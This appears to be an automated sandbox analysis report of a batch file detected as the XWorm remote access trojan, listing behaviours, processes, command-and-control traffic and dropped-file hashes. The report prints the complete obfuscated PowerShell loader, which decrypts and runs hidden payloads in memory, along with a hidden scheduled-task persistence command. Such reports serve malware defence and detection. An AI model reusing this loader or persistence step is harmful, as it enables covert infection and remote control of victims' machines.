Analysis Overview
SHA256
d8f808e425c141619646fb187a9a402394c59459da06df287b88fd977fae5df5
Threat Level: Known bad
The file d8f808e425c141619646fb187a9a402394c59459da06df287b88fd977fae5df5 was found to be: Known bad.
Malicious Activity Summary
Detect Xworm Payload
Xworm
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-29 21:07
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-29 21:07
Reported
2024-05-29 21:09
Platform
win7-20240221-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1952 wrote to memory of 2388 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1952 wrote to memory of 2388 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1952 wrote to memory of 2388 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mPwRBm9qXJoyRc9bqNC0u+iAvpHRjwzR0xhhmQKq+YY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T+n2u+f+rr7kGOYnZCk7cA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pNaoh=New-Object System.IO.MemoryStream(,$param_var); $QcgRK=New-Object System.IO.MemoryStream; $LEpGH=New-Object System.IO.Compression.GZipStream($pNaoh, [IO.Compression.CompressionMode]::Decompress); $LEpGH.CopyTo($QcgRK); $LEpGH.Dispose(); $pNaoh.Dispose(); $QcgRK.Dispose(); $QcgRK.ToArray();}function execute_function($param_var,$param2_var){ $kvhNG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ExMXI=$kvhNG.EntryPoint; $ExMXI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat';$Dgxmx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat').Split([Environment]::NewLine);foreach ($vYgMU in $Dgxmx) { if ($vYgMU.StartsWith(':: ')) { $IglnE=$vYgMU.Substring(3); break; }}$payloads_var=[string[]]$IglnE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/2388-4-0x000007FEF5A9E000-0x000007FEF5A9F000-memory.dmp
memory/2388-5-0x000000001B660000-0x000000001B942000-memory.dmp
memory/2388-6-0x0000000002810000-0x0000000002818000-memory.dmp
memory/2388-7-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp
memory/2388-9-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp
memory/2388-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp
memory/2388-10-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-29 21:07
Reported
2024-05-29 21:09
Platform
win10v2004-20240426-en
Max time kernel
134s
Max time network
145s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mPwRBm9qXJoyRc9bqNC0u+iAvpHRjwzR0xhhmQKq+YY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T+n2u+f+rr7kGOYnZCk7cA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pNaoh=New-Object System.IO.MemoryStream(,$param_var); $QcgRK=New-Object System.IO.MemoryStream; $LEpGH=New-Object System.IO.Compression.GZipStream($pNaoh, [IO.Compression.CompressionMode]::Decompress); $LEpGH.CopyTo($QcgRK); $LEpGH.Dispose(); $pNaoh.Dispose(); $QcgRK.Dispose(); $QcgRK.ToArray();}function execute_function($param_var,$param2_var){ $kvhNG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ExMXI=$kvhNG.EntryPoint; $ExMXI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat';$Dgxmx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Classic_Tag\APK_Installer.bat').Split([Environment]::NewLine);foreach ($vYgMU in $Dgxmx) { if ($vYgMU.StartsWith(':: ')) { $IglnE=$vYgMU.Substring(3); break; }}$payloads_var=[string[]]$IglnE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_130_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_130.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_130.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_130.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mPwRBm9qXJoyRc9bqNC0u+iAvpHRjwzR0xhhmQKq+YY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T+n2u+f+rr7kGOYnZCk7cA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pNaoh=New-Object System.IO.MemoryStream(,$param_var); $QcgRK=New-Object System.IO.MemoryStream; $LEpGH=New-Object System.IO.Compression.GZipStream($pNaoh, [IO.Compression.CompressionMode]::Decompress); $LEpGH.CopyTo($QcgRK); $LEpGH.Dispose(); $pNaoh.Dispose(); $QcgRK.Dispose(); $QcgRK.ToArray();}function execute_function($param_var,$param2_var){ $kvhNG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ExMXI=$kvhNG.EntryPoint; $ExMXI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_130.bat';$Dgxmx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_130.bat').Split([Environment]::NewLine);foreach ($vYgMU in $Dgxmx) { if ($vYgMU.StartsWith(':: ')) { $IglnE=$vYgMU.Substring(3); break; }}$payloads_var=[string[]]$IglnE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.197.17.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | looking-memphis.gl.at.ply.gg | udp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 144.107.17.2.in-addr.arpa | udp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.107.17.2.in-addr.arpa | udp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
| US | 147.185.221.18:45119 | looking-memphis.gl.at.ply.gg | tcp |
Files
memory/1068-0-0x00007FFB327A3000-0x00007FFB327A5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_us0kzvjx.1kd.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1068-2-0x000001B9A1230000-0x000001B9A1252000-memory.dmp
memory/1068-11-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp
memory/1068-12-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp
memory/1068-13-0x000001B9A1460000-0x000001B9A1468000-memory.dmp
memory/1068-14-0x000001B9A1470000-0x000001B9A14A2000-memory.dmp
memory/2616-25-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp
memory/2616-26-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp
memory/2616-27-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp
memory/2616-30-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | f8d49a4af7a844bfc7247d5670def557 |
| SHA1 | 26ae0ce194a77a7a1887cf93741293fdfa6c94c4 |
| SHA256 | 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b |
| SHA512 | 9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_130.vbs
| MD5 | 962ce75d684f70da0e30425299039aae |
| SHA1 | 6ee8d1ef71b54cbc4a81899e52450f50b4bec6f8 |
| SHA256 | 232cbfca13c926ce3b974c4d45a69387a3ccf0d9e49f8ef41bc9fd231c590119 |
| SHA512 | 5bb9d8d46c354d46f7b8f35efcd6eab499f299edc62ae836e45f06ec4ce2502cd551cc45aeb251bac4aaf0841fa257fe9f902dfa384f84518c877c86a6fd5c18 |
C:\Users\Admin\AppData\Roaming\startup_str_130.bat
| MD5 | 63314994ebe02008490fdfefa0d57511 |
| SHA1 | 704c26daec5cbed1e7378952699ceebc60e99218 |
| SHA256 | 44a89e1a91362387bc0a2a405ee2f13ae33c0b74a6cec88a0c7b5228c0839fc7 |
| SHA512 | 6c1f4c40ee3c4812f3035d5685ce0aeaa934739a8b58998201673c00d81461031dc6794ebe9c99214c640f09b6cb6b36adf5c994c8408ae1286336deb646bb04 |
memory/5068-49-0x0000027B729F0000-0x0000027B729FE000-memory.dmp
memory/1068-50-0x00007FFB327A0000-0x00007FFB33261000-memory.dmp